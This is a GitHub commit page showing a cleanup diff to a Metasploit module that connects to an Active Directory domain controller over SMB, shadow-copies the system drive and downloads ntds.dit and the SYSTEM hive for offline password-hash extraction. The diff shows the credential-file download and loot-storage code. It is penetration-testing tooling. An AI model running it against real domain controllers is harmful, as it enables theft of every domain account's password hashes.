Skip to content

Commit 7403239

Browse files
author
jvazquez-r7
committed
cleanup for psexec_ntdsgrab
1 parent 9ae2c8e commit 7403239

File tree

1 file changed

+13
-11
lines changed

1 file changed

+13
-11
lines changed

modules/auxiliary/admin/smb/ntdsgrab.rb renamed to modules/auxiliary/admin/smb/psexec_ntdsgrab.rb

Lines changed: 13 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -24,18 +24,18 @@ class Metasploit3 < Msf::Auxiliary
2424

2525
def initialize(info = {})
2626
super(update_info(info,
27-
'Name' => 'Windows Domain Controller - Download NTDS.dit and SYSTEM Hive',
28-
'Description'=> %q{This module authenticates to an Active Directory Domain Controller and creates
29-
a volume shadow copy of the %SYSTEMDRIVE%.It then pulls down copies of the ntds.dit file as well
30-
as the SYSTEM hive and stores them on your attacking machine.The ntds.dit and SYSTEM copy can be used
31-
in combination with other tools for offline extraction of AD password hashes.All of this is possible without
32-
uploading a single binary to the target host.
27+
'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',
28+
'Description'=> %q{
29+
This module authenticates to an Active Directory Domain Controller and creates
30+
a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the
31+
ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM
32+
hive copy can be used in combination with other tools for offline extraction of AD
33+
password hashes. All of this is done without uploading a single binary to the
34+
target host.
3335
},
34-
3536
'Author' => [
36-
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>'
37+
'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__
3738
],
38-
3939
'License'=> MSF_LICENSE,
4040
'References' => [
4141
[ 'URL', 'http://sourceforge.net/projects/smbexec' ],
@@ -199,8 +199,9 @@ def download_ntds(file)
199199
simple.connect("\\\\#{@ip}\\#{@smbshare}")
200200
remotefile = simple.open("#{file}", 'rob')
201201
data = remotefile.read
202-
store_loot("NTDS.database", "data", @ip, data, "ntds.dit", nil, nil)
203202
remotefile.close
203+
ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit")
204+
print_good("#{peer} - ntds.dit stored at #{ntds_path}")
204205
rescue StandardError => ntdsdownloaderror
205206
print_error("#{peer} - Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
206207
return ntdsdownloaderror
@@ -217,8 +218,9 @@ def download_sys_hive(file)
217218
simple.connect("\\\\#{@ip}\\#{@smbshare}")
218219
remotefile = simple.open("#{file}", 'rob')
219220
data = remotefile.read
220-
store_loot("Registry.hive.system", "binary/reg", @ip, data, "system-hive", nil, nil)
221221
remotefile.close
222+
hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive")
223+
print_good("#{peer} - SYSTEM hive stored at #{hive_path}")
222224
rescue StandardError => sysdownloaderror
223225
print_error("#{peer} - Unable to download SYSTEM hive: #{sysdownloaderror}")
224226
return sysdownloaderror

0 commit comments

Comments
 (0)